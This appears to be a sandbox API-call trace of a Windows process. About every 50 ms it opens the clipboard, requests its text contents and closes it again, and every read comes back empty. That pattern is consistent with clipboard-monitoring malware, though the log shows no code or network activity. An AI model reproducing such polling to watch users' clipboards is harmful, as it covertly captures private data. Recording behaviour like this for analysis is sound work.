[0272.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd2548a2, dwHighDateTime=0x1d96e12))
[0272.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.101] GetClipboardData (uFormat=0x1) returned 0x0
[0272.101] CloseClipboard () returned 1
[0272.101] Sleep (dwMilliseconds=0x32)
[0272.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd27ab0c, dwHighDateTime=0x1d96e12))
[0272.117] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.117] GetClipboardData (uFormat=0x1) returned 0x0
[0272.117] CloseClipboard () returned 1
[0272.117] Sleep (dwMilliseconds=0x32)
[0272.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd2a0cf6, dwHighDateTime=0x1d96e12))
[0272.133] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.133] GetClipboardData (uFormat=0x1) returned 0x0
[0272.134] CloseClipboard () returned 1
[0272.134] Sleep (dwMilliseconds=0x32)
[0272.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd2c6f72, dwHighDateTime=0x1d96e12))
[0272.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.148] GetClipboardData (uFormat=0x1) returned 0x0
[0272.148] CloseClipboard () returned 1
[0272.148] Sleep (dwMilliseconds=0x32)
[0272.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd2ed1cf, dwHighDateTime=0x1d96e12))
[0272.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.165] GetClipboardData (uFormat=0x1) returned 0x0
[0272.165] CloseClipboard () returned 1
[0272.165] Sleep (dwMilliseconds=0x32)
[0272.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd33969e, dwHighDateTime=0x1d96e12))
[0272.197] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.198] GetClipboardData (uFormat=0x1) returned 0x0
[0272.198] CloseClipboard () returned 1
[0272.198] Sleep (dwMilliseconds=0x32)
[0272.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd35f8f7, dwHighDateTime=0x1d96e12))
[0272.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.211] GetClipboardData (uFormat=0x1) returned 0x0
[0272.211] CloseClipboard () returned 1
[0272.211] Sleep (dwMilliseconds=0x32)
[0272.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd385b66, dwHighDateTime=0x1d96e12))
[0272.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.227] GetClipboardData (uFormat=0x1) returned 0x0
[0272.227] CloseClipboard () returned 1
[0272.227] Sleep (dwMilliseconds=0x32)
[0272.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd3abd35, dwHighDateTime=0x1d96e12))
[0272.242] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.242] GetClipboardData (uFormat=0x1) returned 0x0
[0272.242] CloseClipboard () returned 1
[0272.242] Sleep (dwMilliseconds=0x32)
[0272.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd3d2027, dwHighDateTime=0x1d96e12))
[0272.259] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.259] GetClipboardData (uFormat=0x1) returned 0x0
[0272.259] CloseClipboard () returned 1
[0272.260] Sleep (dwMilliseconds=0x32)
[0272.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd3f8238, dwHighDateTime=0x1d96e12))
[0272.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.273] GetClipboardData (uFormat=0x1) returned 0x0
[0272.273] CloseClipboard () returned 1
[0272.273] Sleep (dwMilliseconds=0x32)
[0272.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd41e492, dwHighDateTime=0x1d96e12))
[0272.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.290] GetClipboardData (uFormat=0x1) returned 0x0
[0272.290] CloseClipboard () returned 1
[0272.290] Sleep (dwMilliseconds=0x32)
[0272.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd44471b, dwHighDateTime=0x1d96e12))
[0272.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.304] GetClipboardData (uFormat=0x1) returned 0x0
[0272.304] CloseClipboard () returned 1
[0272.304] Sleep (dwMilliseconds=0x32)
[0272.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd46a945, dwHighDateTime=0x1d96e12))
[0272.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.321] GetClipboardData (uFormat=0x1) returned 0x0
[0272.322] CloseClipboard () returned 1
[0272.322] Sleep (dwMilliseconds=0x32)
[0272.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd490b97, dwHighDateTime=0x1d96e12))
[0272.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.336] GetClipboardData (uFormat=0x1) returned 0x0
[0272.336] CloseClipboard () returned 1
[0272.336] Sleep (dwMilliseconds=0x32)
[0272.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd4b6df5, dwHighDateTime=0x1d96e12))
[0272.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.351] GetClipboardData (uFormat=0x1) returned 0x0
[0272.352] CloseClipboard () returned 1
[0272.352] Sleep (dwMilliseconds=0x32)
[0272.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd4dd05f, dwHighDateTime=0x1d96e12))
[0272.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.368] GetClipboardData (uFormat=0x1) returned 0x0
[0272.368] CloseClipboard () returned 1
[0272.368] Sleep (dwMilliseconds=0x32)
[0272.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd5032c2, dwHighDateTime=0x1d96e12))
[0272.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.383] GetClipboardData (uFormat=0x1) returned 0x0
[0272.383] CloseClipboard () returned 1
[0272.383] Sleep (dwMilliseconds=0x32)
[0272.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd52951a, dwHighDateTime=0x1d96e12))
[0272.399] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.399] GetClipboardData (uFormat=0x1) returned 0x0
[0272.399] CloseClipboard () returned 1
[0272.399] Sleep (dwMilliseconds=0x32)
[0272.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd54f75c, dwHighDateTime=0x1d96e12))
[0272.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.415] GetClipboardData (uFormat=0x1) returned 0x0
[0272.415] CloseClipboard () returned 1
[0272.415] Sleep (dwMilliseconds=0x32)
[0272.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd59bc67, dwHighDateTime=0x1d96e12))
[0272.449] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.449] GetClipboardData (uFormat=0x1) returned 0x0
[0272.450] CloseClipboard () returned 1
[0272.450] Sleep (dwMilliseconds=0x32)
[0272.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd5c1e8b, dwHighDateTime=0x1d96e12))
[0272.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.461] GetClipboardData (uFormat=0x1) returned 0x0
[0272.461] CloseClipboard () returned 1
[0272.461] Sleep (dwMilliseconds=0x32)
[0272.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd5e80fc, dwHighDateTime=0x1d96e12))
[0272.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.476] GetClipboardData (uFormat=0x1) returned 0x0
[0272.476] CloseClipboard () returned 1
[0272.476] Sleep (dwMilliseconds=0x32)
[0272.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd60e352, dwHighDateTime=0x1d96e12))
[0272.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.493] GetClipboardData (uFormat=0x1) returned 0x0
[0272.493] CloseClipboard () returned 1
[0272.493] Sleep (dwMilliseconds=0x32)
[0272.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd634581, dwHighDateTime=0x1d96e12))
[0272.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.507] GetClipboardData (uFormat=0x1) returned 0x0
[0272.508] CloseClipboard () returned 1
[0272.508] Sleep (dwMilliseconds=0x32)
[0272.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd65a802, dwHighDateTime=0x1d96e12))
[0272.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.523] GetClipboardData (uFormat=0x1) returned 0x0
[0272.523] CloseClipboard () returned 1
[0272.523] Sleep (dwMilliseconds=0x32)
[0272.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd680a5b, dwHighDateTime=0x1d96e12))
[0272.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.540] GetClipboardData (uFormat=0x1) returned 0x0
[0272.540] CloseClipboard () returned 1
[0272.540] Sleep (dwMilliseconds=0x32)
[0272.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd6a6c72, dwHighDateTime=0x1d96e12))
[0272.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.554] GetClipboardData (uFormat=0x1) returned 0x0
[0272.554] CloseClipboard () returned 1
[0272.555] Sleep (dwMilliseconds=0x32)
[0272.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd6ccef0, dwHighDateTime=0x1d96e12))
[0272.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.572] GetClipboardData (uFormat=0x1) returned 0x0
[0272.572] CloseClipboard () returned 1
[0272.572] Sleep (dwMilliseconds=0x32)
[0272.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd6f4a41, dwHighDateTime=0x1d96e12))
[0272.588] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.588] GetClipboardData (uFormat=0x1) returned 0x0
[0272.588] CloseClipboard () returned 1
[0272.588] Sleep (dwMilliseconds=0x32)
[0272.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd7193cb, dwHighDateTime=0x1d96e12))
[0272.603] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.603] GetClipboardData (uFormat=0x1) returned 0x0
[0272.603] CloseClipboard () returned 1
[0272.603] Sleep (dwMilliseconds=0x32)
[0272.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd73f5ed, dwHighDateTime=0x1d96e12))
[0272.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.618] GetClipboardData (uFormat=0x1) returned 0x0
[0272.619] CloseClipboard () returned 1
[0272.619] Sleep (dwMilliseconds=0x32)
[0272.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd76584a, dwHighDateTime=0x1d96e12))
[0272.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.632] GetClipboardData (uFormat=0x1) returned 0x0
[0272.633] CloseClipboard () returned 1
[0272.633] Sleep (dwMilliseconds=0x32)
[0272.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd78bad0, dwHighDateTime=0x1d96e12))
[0272.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.648] GetClipboardData (uFormat=0x1) returned 0x0
[0272.648] CloseClipboard () returned 1
[0272.648] Sleep (dwMilliseconds=0x32)
[0272.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd7b1d17, dwHighDateTime=0x1d96e12))
[0272.672] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.672] GetClipboardData (uFormat=0x1) returned 0x0
[0272.672] CloseClipboard () returned 1
[0272.672] Sleep (dwMilliseconds=0x32)
[0272.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd7d7f7f, dwHighDateTime=0x1d96e12))
[0272.681] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.681] GetClipboardData (uFormat=0x1) returned 0x0
[0272.681] CloseClipboard () returned 1
[0272.681] Sleep (dwMilliseconds=0x32)
[0272.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd7fe1c4, dwHighDateTime=0x1d96e12))
[0272.695] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.695] GetClipboardData (uFormat=0x1) returned 0x0
[0272.695] CloseClipboard () returned 1
[0272.695] Sleep (dwMilliseconds=0x32)
[0272.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd824445, dwHighDateTime=0x1d96e12))
[0272.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.711] GetClipboardData (uFormat=0x1) returned 0x0
[0272.711] CloseClipboard () returned 1
[0272.711] Sleep (dwMilliseconds=0x32)
[0272.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd84a653, dwHighDateTime=0x1d96e12))
[0272.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.726] GetClipboardData (uFormat=0x1) returned 0x0
[0272.726] CloseClipboard () returned 1
[0272.726] Sleep (dwMilliseconds=0x32)
[0272.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd8708ee, dwHighDateTime=0x1d96e12))
[0272.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.743] GetClipboardData (uFormat=0x1) returned 0x0
[0272.743] CloseClipboard () returned 1
[0272.744] Sleep (dwMilliseconds=0x32)
[0272.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd896b57, dwHighDateTime=0x1d96e12))
[0272.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.757] GetClipboardData (uFormat=0x1) returned 0x0
[0272.758] CloseClipboard () returned 1
[0272.758] Sleep (dwMilliseconds=0x32)
[0272.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd8bcd6b, dwHighDateTime=0x1d96e12))
[0272.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.773] GetClipboardData (uFormat=0x1) returned 0x0
[0272.774] CloseClipboard () returned 1
[0272.774] Sleep (dwMilliseconds=0x32)
[0272.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd8e3003, dwHighDateTime=0x1d96e12))
[0272.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.790] GetClipboardData (uFormat=0x1) returned 0x0
[0272.790] CloseClipboard () returned 1
[0272.790] Sleep (dwMilliseconds=0x32)
[0272.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd909261, dwHighDateTime=0x1d96e12))
[0272.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.805] GetClipboardData (uFormat=0x1) returned 0x0
[0272.805] CloseClipboard () returned 1
[0272.805] Sleep (dwMilliseconds=0x32)
[0272.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd92f481, dwHighDateTime=0x1d96e12))
[0272.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.822] GetClipboardData (uFormat=0x1) returned 0x0
[0272.822] CloseClipboard () returned 1
[0272.822] Sleep (dwMilliseconds=0x32)
[0272.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd9556ef, dwHighDateTime=0x1d96e12))
[0272.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.836] GetClipboardData (uFormat=0x1) returned 0x0
[0272.836] CloseClipboard () returned 1
[0272.836] Sleep (dwMilliseconds=0x32)
[0272.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd97b943, dwHighDateTime=0x1d96e12))
[0272.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.851] GetClipboardData (uFormat=0x1) returned 0x0
[0272.851] CloseClipboard () returned 1
[0272.852] Sleep (dwMilliseconds=0x32)
[0272.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd9a406c, dwHighDateTime=0x1d96e12))
[0272.870] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.870] GetClipboardData (uFormat=0x1) returned 0x0
[0272.870] CloseClipboard () returned 1
[0272.870] Sleep (dwMilliseconds=0x32)
[0272.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd9c7f38, dwHighDateTime=0x1d96e12))
[0272.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.883] GetClipboardData (uFormat=0x1) returned 0x0
[0272.883] CloseClipboard () returned 1
[0272.883] Sleep (dwMilliseconds=0x32)
[0272.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd9ee07d, dwHighDateTime=0x1d96e12))
[0272.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.898] GetClipboardData (uFormat=0x1) returned 0x0
[0272.898] CloseClipboard () returned 1
[0272.898] Sleep (dwMilliseconds=0x32)
[0272.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfda142a2, dwHighDateTime=0x1d96e12))
[0272.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.915] GetClipboardData (uFormat=0x1) returned 0x0
[0272.915] CloseClipboard () returned 1
[0272.915] Sleep (dwMilliseconds=0x32)
[0272.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfda3a506, dwHighDateTime=0x1d96e12))
[0272.930] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.930] GetClipboardData (uFormat=0x1) returned 0x0
[0272.930] CloseClipboard () returned 1
[0272.932] Sleep (dwMilliseconds=0x32)
[0272.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdaacbfd, dwHighDateTime=0x1d96e12))
[0272.980] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.980] GetClipboardData (uFormat=0x1) returned 0x0
[0272.980] CloseClipboard () returned 1
[0272.980] Sleep (dwMilliseconds=0x32)
[0272.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdad2ea4, dwHighDateTime=0x1d96e12))
[0272.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.993] GetClipboardData (uFormat=0x1) returned 0x0
[0272.993] CloseClipboard () returned 1
[0272.993] Sleep (dwMilliseconds=0x32)
[0273.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdaf90e5, dwHighDateTime=0x1d96e12))
[0273.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.008] GetClipboardData (uFormat=0x1) returned 0x0
[0273.008] CloseClipboard () returned 1
[0273.008] Sleep (dwMilliseconds=0x32)
[0273.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdb1f340, dwHighDateTime=0x1d96e12))
[0273.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.023] GetClipboardData (uFormat=0x1) returned 0x0
[0273.023] CloseClipboard () returned 1
[0273.023] Sleep (dwMilliseconds=0x32)
[0273.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdb4557a, dwHighDateTime=0x1d96e12))
[0273.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.040] GetClipboardData (uFormat=0x1) returned 0x0
[0273.040] CloseClipboard () returned 1
[0273.040] Sleep (dwMilliseconds=0x32)
[0273.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdb6b7e5, dwHighDateTime=0x1d96e12))
[0273.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.054] GetClipboardData (uFormat=0x1) returned 0x0
[0273.054] CloseClipboard () returned 1
[0273.054] Sleep (dwMilliseconds=0x32)
[0273.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdb91a35, dwHighDateTime=0x1d96e12))
[0273.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.071] GetClipboardData (uFormat=0x1) returned 0x0
[0273.072] CloseClipboard () returned 1
[0273.072] Sleep (dwMilliseconds=0x32)
[0273.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdbb7c8a, dwHighDateTime=0x1d96e12))
[0273.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.086] GetClipboardData (uFormat=0x1) returned 0x0
[0273.086] CloseClipboard () returned 1
[0273.086] Sleep (dwMilliseconds=0x32)
[0273.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdbddef6, dwHighDateTime=0x1d96e12))
[0273.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.101] GetClipboardData (uFormat=0x1) returned 0x0
[0273.101] CloseClipboard () returned 1
[0273.101] Sleep (dwMilliseconds=0x32)
[0273.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdc04148, dwHighDateTime=0x1d96e12))
[0273.119] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.119] GetClipboardData (uFormat=0x1) returned 0x0
[0273.119] CloseClipboard () returned 1
[0273.119] Sleep (dwMilliseconds=0x32)
[0273.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdc2a3c8, dwHighDateTime=0x1d96e12))
[0273.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.133] GetClipboardData (uFormat=0x1) returned 0x0
[0273.133] CloseClipboard () returned 1
[0273.133] Sleep (dwMilliseconds=0x32)
[0273.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdc50642, dwHighDateTime=0x1d96e12))
[0273.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.148] GetClipboardData (uFormat=0x1) returned 0x0
[0273.148] CloseClipboard () returned 1
[0273.148] Sleep (dwMilliseconds=0x32)
[0273.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdc76870, dwHighDateTime=0x1d96e12))
[0273.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.165] GetClipboardData (uFormat=0x1) returned 0x0
[0273.165] CloseClipboard () returned 1
[0273.165] Sleep (dwMilliseconds=0x32)
[0273.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdc9cab0, dwHighDateTime=0x1d96e12))
[0273.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.179] GetClipboardData (uFormat=0x1) returned 0x0
[0273.179] CloseClipboard () returned 1
[0273.180] Sleep (dwMilliseconds=0x32)
[0273.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdcc2d1d, dwHighDateTime=0x1d96e12))
[0273.197] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.197] GetClipboardData (uFormat=0x1) returned 0x0
[0273.197] CloseClipboard () returned 1
[0273.197] Sleep (dwMilliseconds=0x32)
[0273.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdce8fa7, dwHighDateTime=0x1d96e12))
[0273.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.211] GetClipboardData (uFormat=0x1) returned 0x0
[0273.211] CloseClipboard () returned 1
[0273.211] Sleep (dwMilliseconds=0x32)
[0273.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdd0f203, dwHighDateTime=0x1d96e12))
[0273.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.226] GetClipboardData (uFormat=0x1) returned 0x0
[0273.226] CloseClipboard () returned 1
[0273.226] Sleep (dwMilliseconds=0x32)
[0273.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfdd3541f, dwHighDateTime=0x1d96e12))
[0273.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0273.243] GetClipboardData (uFormat=0x1) returned 0x0
[0273.243] CloseClipboard () returned 1
[0273.243] Sleep (dwMilliseconds=0x32)
